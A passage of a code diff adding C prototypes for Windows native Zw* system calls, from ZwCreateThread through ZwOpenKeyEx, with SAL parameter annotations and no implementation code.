LinkTarget + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_* + _In_ SIZE_T ZeroBits, + _In_ SIZE_T StackSize, + _In_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateTimer2( + _Out_ PHANDLE TimerHandle, + _In_opt_ PVOID Reserved1, + _In_opt_ PVOID Reserved2, + _In_ ULONG Attributes, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateTokenEx( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes, + _In_opt_ PTOKEN_GROUPS DeviceGroups, + _In_opt_ PTOKEN_MANDATORY_POLICY TokenMandatoryPolicy, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_* + _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_* + _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateWaitCompletionPacket( + _Out_ PHANDLE WaitCompletionPacketHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateWnfStateName( + _Out_ PWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_LIFETIME NameLifetime, + _In_ WNF_DATA_SCOPE DataScope, + _In_ BOOLEAN PersistData, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_ ULONG MaximumStateSize, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDelayExecution( + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER DelayInterval + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteAtom( + _In_ RTL_ATOM Atom + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteBootEntry( + _In_ ULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteDriverEntry( + _In_ ULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ const VOID *ExplicitScope + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeleteWnfStateName( + _In_ PCWNF_STATE_NAME StateName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDisableLastKnownGood( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDisplayString( + _In_ PUNICODE_STRING String + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDrawText( + _In_ PUNICODE_STRING Text + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwEnableLastKnownGood( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwEnumerateDriverEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwEnumerateTransactionObject( + _In_opt_ HANDLE RootObjectHandle, + _In_ KTMOBJECT_TYPE QueryType, + _Inout_updates_bytes_(ObjectCursorLength) PKTMOBJECT_CURSOR ObjectCursor, + _In_ ULONG ObjectCursorLength, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFilterBootOption( + _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation, + _In_ ULONG ObjectType, + _In_ ULONG ElementType, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFilterTokenEx( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _In_ ULONG DisableUserClaimsCount, + _In_opt_ PUNICODE_STRING UserClaimsToDisable, + _In_ ULONG DisableDeviceClaimsCount, + _In_opt_ PUNICODE_STRING DeviceClaimsToDisable, + _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes, + _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups, + _Out_ PHANDLE NewTokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFindAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFlushBuffersFileEx( + _In_ HANDLE FileHandle, + _In_ ULONG Flags, + _In_reads_bytes_(ParametersSize) PVOID Parameters, + _In_ ULONG ParametersSize, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFlushInstallUILanguage( + _In_ LANGID InstallUILanguage, + _In_ ULONG SetComittedFlag + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFlushKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +VOID +NTAPI +ZwFlushProcessWriteBuffers( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFlushWriteBuffer( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFreezeRegistry( + _In_ ULONG TimeOutInSeconds + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFreezeTransactions( + _In_ PLARGE_INTEGER FreezeTimeout, + _In_ PLARGE_INTEGER ThawTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetCachedSigningLevel( + _In_ HANDLE File, + _Out_ PULONG Flags, + _Out_ PSE_SIGNING_LEVEL SigningLevel, + _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint, + _Inout_opt_ PULONG ThumbprintSize, + _Out_opt_ PULONG ThumbprintAlgorithm + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetCompleteWnfStateSubscription( + _In_opt_ PWNF_STATE_NAME OldDescriptorStateName, + _In_opt_ ULONG64 *OldSubscriptionId, + _In_opt_ ULONG OldDescriptorEventMask, + _In_opt_ ULONG OldDescriptorStatus, + _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor, + _In_ ULONG DescriptorSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext + ); + +NTSYSCALLAPI +ULONG +NTAPI +ZwGetCurrentProcessorNumber( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetDevicePowerState( + _In_ HANDLE Device, + _Out_ PDEVICE_POWER_STATE State + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetMUIRegistryInfo( + _In_ ULONG Flags, + _Inout_ PULONG DataSize, + _Out_ PVOID Data + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetNextProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetNextThread( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetNlsSectionPtr( + _In_ ULONG SectionType, + _In_ ULONG SectionData, + _In_ PVOID ContextData, + _Out_ PVOID *SectionPointer, + _Out_ PULONG SectionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetNotificationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _Out_ PTRANSACTION_NOTIFICATION TransactionNotification, + _In_ ULONG NotificationLength, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_opt_ PULONG ReturnLength, + _In_ ULONG Asynchronous, + _In_opt_ ULONG_PTR AsynchronousContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetPlugPlayEvent( + _In_ HANDLE EventHandle, + _In_opt_ PVOID Context, + _Out_writes_bytes_(EventBufferSize) PPLUGPLAY_EVENT_BLOCK EventBlock, + _In_ ULONG EventBufferSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwGetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_writes_(*EntriesInUserAddressArray) PVOID *UserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwInitializeNlsFiles( + _Out_ PVOID *BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwInitializeRegistry( + _In_ USHORT BootCondition + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwInitiatePowerAction( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags, // POWER_ACTION_* flags + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwIsProcessInJob( + _In_ HANDLE ProcessHandle, + _In_opt_ HANDLE JobHandle + ); + +NTSYSCALLAPI +BOOLEAN +NTAPI +ZwIsSystemResumeAutomatic( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwIsUILanguageComitted( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLoadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Out_opt_ PIO_STATUS_BLOCK IoStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + _Inout_opt_ ULONG *pPrivateVer, + _Out_opt_ ULONG *pSafeMode + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLockRegistryKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwMakePermanentObject( + _In_ HANDLE Handle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwMakeTemporaryObject( + _In_ HANDLE Handle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwManagePartition( + _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass, + _In_ PVOID PartitionInformation, + _In_ ULONG PartitionInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwMapCMFModule( + _In_ ULONG What, + _In_ ULONG Index, + _Out_opt_ PULONG CacheIndexOut, + _Out_opt_ PULONG CacheFlagsOut, + _Out_opt_ PULONG ViewSizeOut, + _Out_opt_ PVOID *BaseAddress + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID *VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwModifyBootEntry( + _In_ PBOOT_ENTRY BootEntry + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwModifyDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ LPGUID EnlistmentGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ 